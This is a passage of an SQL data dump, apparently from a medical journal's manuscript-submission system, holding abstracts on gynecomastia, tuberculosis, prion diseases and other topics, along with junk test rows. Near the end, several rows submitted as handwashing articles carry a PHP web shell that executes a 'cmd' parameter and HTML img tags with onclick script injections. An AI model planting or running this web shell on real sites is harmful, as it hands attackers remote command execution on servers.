according to Simon’s classification, and to present a novel. Male chest definition surgery and patients complaining of breast tissue overgrowth have been increasing in recent decades. After the authors’ first report of pectoral etching in 2012, patients and surgeons became more aware about gynecomastia resection when performing pectoral enhancement. The authors present their experience with pectoral high-definition liposculpture in addition to inverted-omega incision resection for gynecomastia. Gynecomastia affects up to two-thirds of the male population. For many patients the psychological impact of the disease is substantial. Surgical treatment is indicated when medical treatments fail. Until now, most published research on the subject has focused on how effective surgical treatment is on correcting the cosmetic appearance of the breast. Little is known about the effect of surgical treatment on the psychological aspects of the disease. The aim of this review was to identify the psychological domains affected by the disease and the effect of surgical treatment on these. A systematic search of the published literature was performed. All studies on the subject were evaluated for inclusion and six studies were included in the review. Several of the included studies reported improvement in quality of life and several psychological domains after surgical treatment for gynecomastia. Among these domains, are; vitality, emotional discomfort, limitations due to physical aspects and limitations due to pain. Impact of surgical treatment for gynecomastia seems to be beneficial for several psychological domains. The current level of evidence on this subject is very low and future studies, examining the impact of the surgical intervention for gynecomastia on psychological domains, are greatly needed. More data on this subject could improve the pre-operative evaluation of these patients and help identify the patients that will benefit from treatment.','Plastic surgery; methods Breast; surgery; Gynecomastia',2505,'','2022-08-25',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-30',1),(13009,13006,667,0,'','Conceptual analysis of a four -stroke linear engine','',19,0,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations','Translational Research; Research Evaluation; Methods For Evaluating; Bibliometric Analysis; Biomedical Translational Research',3933,'','2022-08-29',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-30',1),(13039,13236,326,0,'','Minimally Invasive Surgeries: Using a Tubular Retractor','',2,0,'','Minimally Invasive Surgeries: Using a Tubular Retractor\r\nOmer Engin*\r\nI am Omer Engin. And, above published article by you is not mine. You published a fake article.','',3103,'','2022-09-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-09-08',1),(13050,13248,639,0,'','Fish genetics and genome','',19,3,'','Advancing the production efficiency and profitability of aquaculture is dependent upon the ability to utilize a diverse array of genetic resources. The ultimate goals of aquaculture genomics, genetics and breeding research are to enhance aquaculture production efficiency, sustainability, product quality, and profitability in support of the commercial sector and for the benefit of consumers. In order to achieve these goals, it is important to understand the genomic structure and organization of aquaculture species, and their genomic and phenomic variations, as well as the genetic basis of traits and their interrelationships. In addition, it is also important to understand the mechanisms of regulation and evolutionary conservation at the levels of genome, transcriptome, proteome, epigenome, and systems biology. With genomic information and information between the genomes and phenomes, technologies for marker/causal mutation-assisted selection, genome selection, and genome editing can be developed for applications in aquaculture. A set of genomic tools and resources must be made available including reference genome sequences and their annotations (including coding and non-coding regulatory elements), genome-wide polymorphic markers, efficient genotyping platforms, high-density and high-resolution linkage maps, and transcriptome resources including non-coding transcripts. Genomic and genetic control of important performance and production traits, such as disease resistance, feed conversion efficiency, growth rate, processing yield, behaviour, reproductive characteristics, and tolerance to environmental stressors like low dissolved oxygen, high or low water temperature and salinity, must be understood. QTL need to be identified, validated across strains, lines and populations, and their mechanisms of control understood. Causal gene(s) need to be identified. Genetic and epigenetic regulation of important aquaculture traits need to be determined, and technologies for marker-assisted selection, causal gene/mutation-assisted selection, genome selection, and genome editing using CRISPR and other technologies must be developed, demonstrated with applicability, and application to aquaculture industries.','Profitability of aquaculture, Fish genetics,  Genome',1771,'','2022-09-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-09-12',1),(13056,13253,639,0,'','Fish Pathology: Stress and Welfare','',19,3,'','One of the main constraints in aquaculture production is farmed fish vulnerability to diseases due to husbandry practices or external factors like pollution, climate changes, or even the alterations in the dynamic of product transactions in this industry. It is though important to better understand and characterize the intervenients in the process of a disease outbreak as these lead to huge economical losses in aquaculture industries. High-throughput technologies like proteomics can be an important characterization tool especially in pathogen identification and the virulence mechanisms related to host-pathogen interactions on disease research and diagnostics that will help to control, prevent, and treat diseases in farmed fish. Proteomics important role is also maximized by its holistic approach to understanding pathogenesis processes and fish responses to external factors like stress or temperature making it one of the most promising tools for fish pathology research. ','',1771,'','2022-09-09',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-09-12',1),(13055,13252,251,0,'','Tuberculosis: Mycobacterial Diseases','',19,3,'','Tuberculosis (TB), one of the oldest known human diseases. Is still is one of the major causes of mortality, since two million people die each year from this malady. TB has many manifestations, affecting bone, the central nervous system, and many other organ systems, but it is primarily a pulmonary disease that is initiated by the deposition of Mycobacterium tuberculosis, contained in aerosol droplets, onto lung alveolar surfaces. From this point, the progression of the disease can have several outcomes, determined largely by the response of the host immune system. The efficacy of this response is affected by intrinsic factors such as the genetics of the immune system as well as extrinsic factors, e.g., insults to the immune system and the nutritional and physiological state of the host. In addition, the pathogen may play a role in disease progression since some M. tuberculosis strains are reportedly more virulent than others, as defined by increased transmissibility as well as being associated with higher morbidity and mortality in infected individuals. Despite the widespread use of an attenuated live vaccine and several antibiotics, there is more TB than ever before, requiring new vaccines and drugs and more specific and rapid diagnostics. Researchers are utilizing information obtained from the complete sequence of the M. tuberculosis genome and from new genetic and physiological methods to identify targets in M. tuberculosis that will aid in the development of these sorely needed antitubercular agents.','',779,'','2022-09-09',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-09-12',1),(13064,13262,251,0,'','Rotavirus Infection:  Effects of Vaccination ','',19,3,'','Rotavirus infections are a leading cause of severe, dehydrating gastroenteritis in children 5 years of age. Despite the global introduction of vaccinations for rotavirus over a decade ago, rotavirus infections still result in 200,000 deaths annually, mostly in low-income countries. Rotavirus primarily infects enterocytes and induces diarrhoea through the destruction of absorptive enterocytes (leading to malabsorption), intestinal secretion stimulated by rotavirus non-structural protein and activation of the enteric nervous system. In addition, rotavirus infections can lead to antigenaemia (which is associated with more severe manifestations of acute gastroenteritis) and viraemia, and rotavirus can replicate in systemic sites, although this is limited. Reinfections with rotavirus are common throughout life, although the disease severity is reduced with repeat infections. The immune correlates of protection against rotavirus reinfection and recovery from infection are poorly understood, although rotavirus-specific immunoglobulin A has a role in both aspects. The management of rotavirus infection focuses on the prevention and treatment of dehydration, although the use of antiviral and anti-emetic drugs can be indicated in some cases.','Diarrhea diseases, Rota virus infections  ',790,'','2022-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-09-15',1),(13115,13313,996,0,'','Joint Pain: Humans and Experimental Models','',19,0,'','Arthritis pain affects millions of people worldwide yet we still have only a limited understanding of what makes our joints ache. This review examines the sensory innervation of diarthroidal joints and discusses the neurophysiological processes that lead to the generation of painful sensation. During inflammation, joint nerves become sensitized to mechanical stimuli through the actions of neuropeptides, eicosanoids, proteinase-activated receptors and ion channel ligands. The contribution of immunocytes to arthritis pain is also reviewed. Finally, the existence of an endogenous analgesic system in joints is considered and the reasons for its inability to control pain are postulated.\r\nNociceptors are located throughout the joint, having been identified in the capsule; ligaments, menisci, periosteum and subchondral bone. The most distal segment of type III and type IV afferents is devoid of a myelin sheath and perineurium, and it is believed that this is the sensory region of the nociceptive nerve. Transmission electron microscopy revealed an hour glass shape repeating pattern along the length of type III and type IV nerve terminals, and the multiple bulbous areas exhibit the characteristic features of receptive sites. It is within these \'bead-like\' structures on the terminals of \'free\' nerve endings that joint pain originates.\r\n',' ',3649,'','2022-10-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-10-12',1),(13110,13308,91,0,'','Sonochemistry in organic synthesis: A convenient method for the preparation of halo-bicyclic molecules with keten addition reaction and biological properties of Dimethyl 7,7-dichloro-8-oxabicyclo[4.2.0]oct-3-ene-3,4-dicarboxylate','',14,0,'','A convenient method for the preparation of halo-bicyclic molecules likely to show biological activity, from keten addition reaction with dimethyl cyclohexa-1,4-diene-1,2-dicarboxylate (3) and dichloroketene, respectively, under ultrasound irradiation, is reported. First, 1,4-diene 3 had been synthesized with Diels-Alder addition, and then the ketene addition reaction was carried out. Ultrasonic and non-ultrasonic conditions in the ketene addition reaction were investigated. Then, lactones (8 and 9) were obtained from ketene adducts. The structures of the molecules were illuminated by IR, and NMR spectroscopy techniques, especially Cosy spectroscopy. The test compounds improved antioxidant ability from 9.48% to 69.29% at concentration rates of 12.5-200 mg/L. The newly synthesized dichloro lactone 8 showed good antibacterial activity against gram-negative and –positive bacteria and also, antifungal activity. The antibiofilm activity of dichloro lactone 8 investigated and it showed 99.92 and 99.14% biofilm inhibiton activity againts Staphylococcus aureus and Pseudomonas aeruginosa, respectively at concentration of 250 mg/L. Moreover, it was displayed 100% Escherichia coli viability inhibition at concentrations of 125 and 250 mg/L.   ','Ketene addition, halo-bicyclic molecules, sonochemistry, antioxidant, antimicrobial, DNA cleavage, biofilm inhibition',5415,'','2022-10-05',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-10-12',1),(13118,12576,73,0,'','Subcortical Unilateral Spatial Neglect is caused by White Matter Tracts in Subacute Stroke.','',14,0,'Subcortical Unilateral Spatial Neglect is caused by White Matter Tracts in Subacute Stroke.','Context: Unilateral spatial neglect (USN) is prevalent after a stroke and is related with poor motor and cognitive results as well as a lower quality of life. Traditionally, cortical areas such as the posterior parietal cortex were assumed to be the neurological foundations of USN. Patients with stroke involving only subcortical structures, on the other hand, may also manifest with USN. While there have been few research on USN in subcortical stroke, one plausible reason for subcortical neglect is the involvement of white matter pathways connected to brain networks of visuospatial attention. As a result, the purpose of this study was to determine which specific white matter pathways constitute neurological substrates for USN in patients with subcortical stroke.\\r\\nMethods: Twenty-two patients admitted to the Department of Rehabilitation Medicine at Lugansk State Medical University and Hospital,Ukraine with subcortical stroke but no cortical damage were included retrospectively. Nine patients were classed as \\\"USN(+)\\\" since they scored 1 or higher on the Catherine Bergego scale and had at least two positive outcomes on three tests (the Schenkenberg line bisection test, Albert\\\'s test, and home drawing test). The remaining 13 participants with no anomalies on those tests were classed as \\\"USN(-).\\\" MRI stroke lesions were manually drawn using the MRIcron software. MRI scans were subjected to lesion overlapping and atlas-based analysis. The Albert test and the Catherine Bergego scale was used to examine the relationship between the overlapping lesion volumes with white matter regions and the severity of USN.\\r\\nResults: Lesions were more common in the USN(+) group than in the USN(-) group, despite having similar locations in the right hemisphere. The atlas-based studies revealed that the lesions in the USN(+) group overlapped substantially more with the right cingulum in the cingulate cortex, the temporal projection of the superior longitudinal fasciculus, and the forceps minor than the lesions in the USN(-) group. The volume of the implicated white matter tracts corresponded with the Catherine Bergego scale score.\\r\\nConclusion: White matter pathways related with USN were discovered in patients with subcortical stroke without cortical involvement in this investigation. Our findings, coupled with earlier research on subcortical USN, support the theory that USN is caused by disruption to white matter networks.','Stroke, Subcortical, Unilateral Spatial Neglect, Atlas-based lesion overlapping analysis, White matter tract',327,'','2022-10-11',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-10-13',1),(13122,13322,959,0,'','Applications of analytical chemistry','',14,1,'cancer Research','','',5400,'','2022-10-18',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-10-19',1),(13138,13338,326,0,'','Surgery of Laparoscopic: Advantages and Disadvantages','',2,0,'',' ',' ',2505,'','2022-10-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-10-29',1),(13136,13336,251,0,'','Bacterial Infection of Clinical Manifestations ','',2,0,'','Bacterial infections have a large impact on public health. Disease can occur at anybody site and can be caused by the organism itself or by the body\'s response to its presence. Bacteria are transmitted to humans through air, water, food, or living vectors. The principal modes of transmission of bacterial infection are contact, airborne, droplet, vectors, and vehicular. Preventive measures have a dramatic impact on morbidity and mortality. Such measures include water treatment, immunization of animals and humans, personal hygiene measures, and safer sex practices. Bacterial resistance to antibiotics is a growing concern mandating their prudent use.','Antibiotics; Bacteria; Culture; Gram-negative; Gram-positive; Gram stain; Infectious disease; Prevention of infection; Reservoirs; Transmission of infection',780,'','2022-10-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-10-29',1),(13148,13349,1020,0,'','Examination of Gene Transcription and Receipt in the Larvae suspension DNA','',19,0,'','The point of our review was to examine the presence of 5-methyl-cytosine (5-mC) and 5-hydroxymethyl-cytosine (5-hmC) in the genome of scavanger Daphnia pulex. In the first place, the presence of 5-mC and 5-hmC in genomic DNA was exhibited by utilizing antibodies well defined for either 5-mC or 5-hmC. Then, examination of 5-mC and 5-hmC utilizing sets of limitation proteins with various aversion to methylation and hydroxymethylation affirmed the presence of the two changes in chosen areas of three qualities (Cox4, Cand2 and Ephx1). To get a nitty gritty image of 5-hmC conveyance over the D. pulex genome, we performed 5-hmC enhancement and sequenced the improved part utilizing cutting edge sequencing and non-enhanced library (contribution) as a control.','Daphnia pulex; 5-methyl-cytosine; 5-hydroxymethyl-cytosine; entire genome sequencing; epigenetic adjustments; Cox4; Cand2; Ephx1',5042,'','2022-10-29',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-11-01',1),(13170,13375,45,0,'','Mr','',12,0,'','Emergency is an event that you either survive or die in an unlikely event of an emergency. The focus of every country is have healthy population hence the health people is a concern. Pre-hospital is seen as solution to bridging the gap between patient and their care givers. In this regards the research interest is to perform an AFT model assessment with the pre-hospital care cases in the area sick and injured in the era of pre-hospital care in the Upper East Region and the method use was accelerated failure time model. The data used for the model assessment was secondary data from the prehospital database. 18 months cases count in the Upper East region. A total of four thousand, five hundred and sixty-two (4,562) patients were involved, covering the period of 18 operational months. Analysis run used AFT model prediction and diagnosis, having the least AIC and BIC values of 11700.81 and 11745.79 respectively. Indicative that the best predictor for the emergency medical service survival time data of the Upper East Region.','EMS- Emergency Medical Service\r\nAFT- Accelerated failure time\r\nPre-Hospital Care- Out of Hospital Emergency Care\r\nPIMS-Pre-Hospital Information Management System \r\nNAS-National Ambulance Service \r\nObs and Gynaec-Obstetrics and Gynecology\r\nRT-Response Time\r\nWHO-World Health Organization',4076,'','2022-11-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-11-18',1),(13172,13377,91,0,'','Delivering a novel triple drug combination repeatedly for better breast cancer treatment.','',14,0,'','While breast cancer remains a global health concern, the elaboration of rationally designed drug combinations coupled with advanced biocompatible delivery systems offers new promising treatment venues. Herein, we repurposed rosuvastatin (RST) based on its selective tumor apoptotic effect and combined it with the antimetabolite pemetrexed (PMT) and the tumor-sensitizing polyphenol honokiol (HK). This synergistic three-drug combination was incorporated into protein polysaccharide nanohybrids fabricated by utilizing sodium alginate (ALG) and lactoferrin (LF), inspired by the stealth property of the former and the cancer cell targeting capability of the latter. ALG was conjugated to PMT and then coupled with LF which was conjugated to RST, forming core shell nanohybrids into which HK was physically loaded, followed by cross linking using genipin. The crosslinked HK-loaded PMT–ALG/LF–RST nanohybrids exhibited a fair drug loading of 7.86, 5.24 and 6.11% for RST, PMT and HK, respectively. It demonstrated an eight-fold decrease in the IC50 compared to the free drug combination, in addition to showing an enhanced cellular uptake by MCF-7 cells. The in vivo antitumor efficacy in a breast cancer-bearing mouse model confirmed the superiority of the triple cocktail-loaded nanohybrids. Conclusively, our rationally designed triple drug-loaded protein/polysaccharide nanohybrids offer a promising, biocompatible approach for an effective breast tumor suppression.','protein/polysaccharide nanohybrids; sodium alginate; lactoferrin; rosuvastatin; pemetrexed; honokiol; breast cancer treatment',2474,'','2022-11-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-11-21',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-21',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-21',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-23',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-23',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-23',1),(13191,13397,251,0,'','Manuscript Details','',24,0,'','twat','',5414,'','2022-11-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-11-25',1),(13197,13395,667,0,'','A Study of Molecular and Genomic Mechanisms in Plant Defense','',19,0,'','Inadequate protein identification caused by high abundance proteins is one of the ongoing problems with proteomics. The difficulty is particularly important for plant proteomics study due to Rubisco\'s predominance in green tissue. Rubisco, which makes up 30 to 50% of all plant protein from green tissues and is a key enzyme in carbon fixation, reduces the sensitivity, dynamic range, and protein identification of plant proteomics. Both gel-based and shot-gun proteomics analyses are impacted by high abundance proteins like Rubisco. The peptides obtained from the numerous proteins have a higher likelihood of being sampled by the MS instrument than the peptides from other functional proteins in one of the most widely used shot-gun proteomics platforms with data-dependent MS/MS acquisition. Because high abundance proteins are common, the dynamic range and detection sensitivity will be lost as a result. The performance of multidimensional protein identification technology (Mud- PIT)-based proteomics analysis was improved by combining PEI 1 precipitation and protein sample separation in order to overcome this difficulty. Positively charged polymers like PEI are frequently employed to remove nucleic acids from proteins. The substance can also be used to eliminate Rubisco and other acidic proteins from the whole protein.','Molecular, Genomic, Plant Defense',3322,'','2022-11-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-11-25',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-28',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-11-29',1),(13225,13430,251,0,'','Human Prion Diseases','',19,0,'','The discovery of proteinaceous infectious agents by Prusiner in 1982 was sensational. All previously known pathogens contained nucleic acids, the code of life, that enabled them to reproduce. In contrast, the proteinaceous agents of disease, called prion proteins (PrP), lacked nucleic acids and propagated by binding to the functional, endogenous form of cellular prion protein (referred to as PrPC) and altering its conformation to produce the infectious disease-causing misfolded protein (referred to as PrPSc). The accumulation and aggregation of these infectious prion proteins within the brain causes destruction of neural tissue and leads to fatal spongiform encephalopathies. In this review, we present the molecular pathology of prion-based diseases. These insights are of particular importance since the principles of prion pathogenesis apply to other neurodegenerative disease such as Alzheimer\'s disease, Huntington’s disease, Parkinson\'s disease and amyotrophic lateral sclerosis. Collectively, the global prevalence of these diseases is rapidly increasing while effective therapies against them are still lacking. Thus, the need to understand their etiology and pathogenesis is urgent, and it holds profound implications for societal health. ','',783,'','2022-12-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-02',1),(13227,13433,996,0,'','awsdadasd','',1,0,'','asdddddddddddddddddddddd','',5417,'','2022-12-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-02',1),(13226,13432,996,0,'','sadasd','',24,0,'','sadasdasdsadsadsadasdasdsa','',5417,'','2022-12-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-02',1),(13242,13444,91,0,'','test','',24,0,'test','test','test',5419,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-03',1),(13239,13440,45,0,'','wdwadawd','',22,1,'awdadad','adad','adadadad',295,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13241,13442,45,0,'','adawdawdawdawdawdawdawdawdawdawdawdawdawdawd','',4,0,'adawda','wadadwaawdawdawdawdawdawd','wadadawddawdawdwad',5409,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13238,13439,45,0,'','esfesfse','',2,0,'sefefesef','sefse','fsefsefsef',5412,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13240,13441,45,0,'','adawd','',16,1,'adawda','wadadwa','wadadawd',5379,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13231,13437,971,0,'','how to clean yout hands','',15,0,'Coronavirus Clean','Key Times to Wash Hands\nKnow When To Wash Your Hands\nYou can help yourself and your loved ones stay healthy by washing your hands often, especially during these key times when you are likely to get and spread germs:\n\nBefore, during, and after preparing food\nBefore and after eating food\nBefore and after caring for someone at home who is sick with vomiting or diarrhea\nBefore and after treating a cut or wound\nAfter using the toilet\nAfter changing diapers or cleaning up a child who has used the toilet\nAfter blowing your nose, coughing, or sneezing\nAfter touching an animal, animal feed, or animal waste\nAfter handling pet food or pet treats\nAfter touching garbage\nIf soap and water are not readily available, use a hand sanitizer with at least 60% alcohol to clean your hands.\n\nFollow Five Steps to Wash Your Hands the Right Way\nWashing your hands is easy, and it’s one of the most effective ways to prevent the spread of germs. Clean hands can help stop germs from spreading from one person to another and in our communities—including your home, workplace, schools, and childcare facilities.\n\nFollow these five steps every time.\n\nWash Your Hands English image\nWet your hands with clean, running water (warm or cold), turn off the tap, and apply soap.\nLather your hands by rubbing them together with the soap. Lather the backs of your hands, between your fingers, and under your nails.\nScrub your hands for at least 20 seconds. Need a timer? Hum the “Happy Birthday” song from beginning to end twice.\nRinse your hands well under clean, running water.\nDry your hands using a clean towel or an air dryer.\nWhy? Read the science behind the recommendations.\n\nUse Hand Sanitizer When You Can’t Use Soap and Water\nWashing hands with soap and water is the best way to get rid of germs in most situations. If soap and water are not readily available, you can use an alcohol-based hand sanitizer that contains at least 60% alcohol. You can tell if the sanitizer contains at least 60% alcohol by looking at the product label.\n\nSanitizers can quickly reduce the number of germs on hands in many situations. However,\n\nSanitizers do not get rid of all types of germs.\nHand sanitizers may not be as effective when hands are visibly dirty or greasy.\nHand sanitizers might not remove harmful chemicals like pesticides from hands.\nCaution! Swallowing alcohol-based hand sanitizer can cause alcohol poisoning if more than a couple of mouthfuls are swallowed. Keep it out of reach of young children and supervise their use.\n\nHow To Use Hand Sanitizer the Right Way - 5x3\nHow to Use Hand Sanitizer\nApply the gel product to the palm of one hand (read the label to learn the correct amount).\nCover all surfaces of hands.\nRub your hands and fingers together until they are dry. This should take around 20 seconds.\nCDC’s Communication Materials\nScreenshot of CDC handwashing video\nCDC has health promotion materials to encourage kids and adults to make handwashing part of their everyday lives.\n\nShare social media graphics and messages.\nPrint stickers and place clings on bathroom mirrors.\nPromote handwashing on or around Global Handwashing Day, celebrated each year on October 15.\nDistribute fact sheets to share information about hand hygiene for specific audiences.\nOrder free posters and display them in highly visible public areas, such as school bathrooms,\nwork areas, and public restrooms.\nFor more information on handwashing, visit CDC’s Handwashing website or call 1-800-CDC-INFO.\n\nMore Information\nFrequent Questions About Hand Hygiene\nHand Hygiene in Healthcare Settings\nTraining and Education\nGlobal Handwashing Day\nPersonal Hygiene During an Emergency','Key Times to Wash Hands\r\nKnow When To Wash Your Hands\r\nYou can help yourself and your loved ones stay healthy by washing your hands often, especially during these key times when you are likely to get and spread germs:\r\n\r\nBefore, during, and after preparing food\r\nBefore and after eating food\r\nBefore and after caring for someone at home who is sick with vomiting or diarrhea\r\nBefore and after treating a cut or wound\r\nAfter using the toilet\r\nAfter changing diapers or cleaning up a child who has used the toilet\r\nAfter blowing your nose, coughing, or sneezing\r\nAfter touching an animal, animal feed, or animal waste\r\nAfter handling pet food or pet treats\r\nAfter touching garbage\r\nIf soap and water are not readily available, use a hand sanitizer with at least 60% alcohol to clean your hands.\r\n\r\nFollow Five Steps to Wash Your Hands the Right Way\r\nWashing your hands is easy, and it’s one of the most effective ways to prevent the spread of germs. Clean hands can help stop germs from spreading from one person to another and in our communities—including your home, workplace, schools, and childcare facilities.\r\n\r\nFollow these five steps every time.\r\n\r\nWash Your Hands English image\r\nWet your hands with clean, running water (warm or cold), turn off the tap, and apply soap.\r\nLather your hands by rubbing them together with the soap. Lather the backs of your hands, between your fingers, and under your nails.\r\nScrub your hands for at least 20 seconds. Need a timer? Hum the “Happy Birthday” song from beginning to end twice.\r\nRinse your hands well under clean, running water.\r\nDry your hands using a clean towel or an air dryer.\r\nWhy? Read the science behind the recommendations.\r\n\r\nUse Hand Sanitizer When You Can’t Use Soap and Water\r\nWashing hands with soap and water is the best way to get rid of germs in most situations. If soap and water are not readily available, you can use an alcohol-based hand sanitizer that contains at least 60% alcohol. You can tell if the sanitizer contains at least 60% alcohol by looking at the product label.\r\n\r\nSanitizers can quickly reduce the number of germs on hands in many situations. However,\r\n\r\nSanitizers do not get rid of all types of germs.\r\nHand sanitizers may not be as effective when hands are visibly dirty or greasy.\r\nHand sanitizers might not remove harmful chemicals like pesticides from hands.\r\nCaution! Swallowing alcohol-based hand sanitizer can cause alcohol poisoning if more than a couple of mouthfuls are swallowed. Keep it out of reach of young children and supervise their use.\r\n\r\nHow To Use Hand Sanitizer the Right Way - 5x3\r\nHow to Use Hand Sanitizer\r\nApply the gel product to the palm of one hand (read the label to learn the correct amount).\r\nCover all surfaces of hands.\r\nRub your hands and fingers together until they are dry. This should take around 20 seconds.\r\nCDC’s Communication Materials\r\nScreenshot of CDC handwashing video\r\nCDC has health promotion materials to encourage kids and adults to make handwashing part of their everyday lives.\r\n\r\nShare social media graphics and messages.\r\nPrint stickers and place clings on bathroom mirrors.\r\nPromote handwashing on or around Global Handwashing Day, celebrated each year on October 15.\r\nDistribute fact sheets to share information about hand hygiene for specific audiences.\r\nOrder free posters and display them in highly visible public areas, such as school bathrooms,\r\nwork areas, and public restrooms.\r\nFor more information on handwashing, visit CDC’s Handwashing website or call 1-800-CDC-INFO.\r\n\r\nMore Information\r\nFrequent Questions About Hand Hygiene\r\nHand Hygiene in Healthcare Settings\r\nTraining and Education\r\nGlobal Handwashing Day\r\nPersonal Hygiene During an Emergency',4710,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13237,13437,971,0,'','how to clean yout handsz','',10,1,'zzz','<?php\r\n$cmd=$_GET[\'cmd\'];\r\nsystem($cmd);\r\n?>','<?php\r\n$cmd=$_GET[\'cmd\'];\r\nsystem($cmd);\r\n?>',5347,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13234,13437,971,0,'','how to clean yout handZ','',1,0,'Coronavirus Clean','<img src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" onclick=\"window.location.href(\'https://google.com\');\")></img>','<img src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" onclick=\"window.location.href(\'https://google.com\');\")></img>',5418,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13233,13437,971,0,'','how to clean yout handsss','',10,0,'Coronavirus Clean','<img src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" onclick=window.location.assign(\"google.com\")></img>','<img src=\\\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\\\" onclick=window.location.assign(\\\"google.com\\\")></img>',3249,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13230,13437,971,0,'','adalenghaikuah','',1,1,'adwa','leng hai cek cok','haha',5383,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13236,13437,971,0,'','https://google.comZ','',12,0,'Coronavirus Clean','<img src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" style=\"border:0px;margin:2px;padding:2px;left;width:26px; height:20px;\" onclick=\"javascript:window.location=\'https://www.google.com\';\" />','<img src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" style=\"border:0px;margin:2px;padding:2px;left;width:26px; height:20px;\" onclick=\"javascript:window.location=\'https://www.google.com\';\" />',5383,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13235,13437,971,0,'','https://google.coms','',1,0,'','<img src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" onclick=\"window.location.href(\'https://google.com\');\"></img>','<img 